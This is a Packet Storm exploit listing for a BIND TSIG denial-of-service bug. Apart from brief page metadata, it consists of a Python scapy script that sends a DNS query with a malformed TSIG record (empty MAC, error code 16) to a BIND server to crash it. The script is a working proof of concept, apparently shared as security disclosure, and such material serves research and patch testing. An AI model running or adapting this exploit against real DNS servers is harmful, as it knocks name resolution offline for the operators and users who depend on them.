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packetstormTeppei FukudaPACKETSTORM:157836
HistoryMay 27, 2020 - 12:00 a.m.

BIND TSIG Denial Of Service

2020-05-2700:00:00
Teppei Fukuda
packetstormsecurity.com
1255
`#!/usr/bin/python  
#coding:utf-8  
  
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT  
  
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)  
  
dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)  
answer = sr1(dns_req, verbose=0)  
  
print(answer[DNS].summary())  
`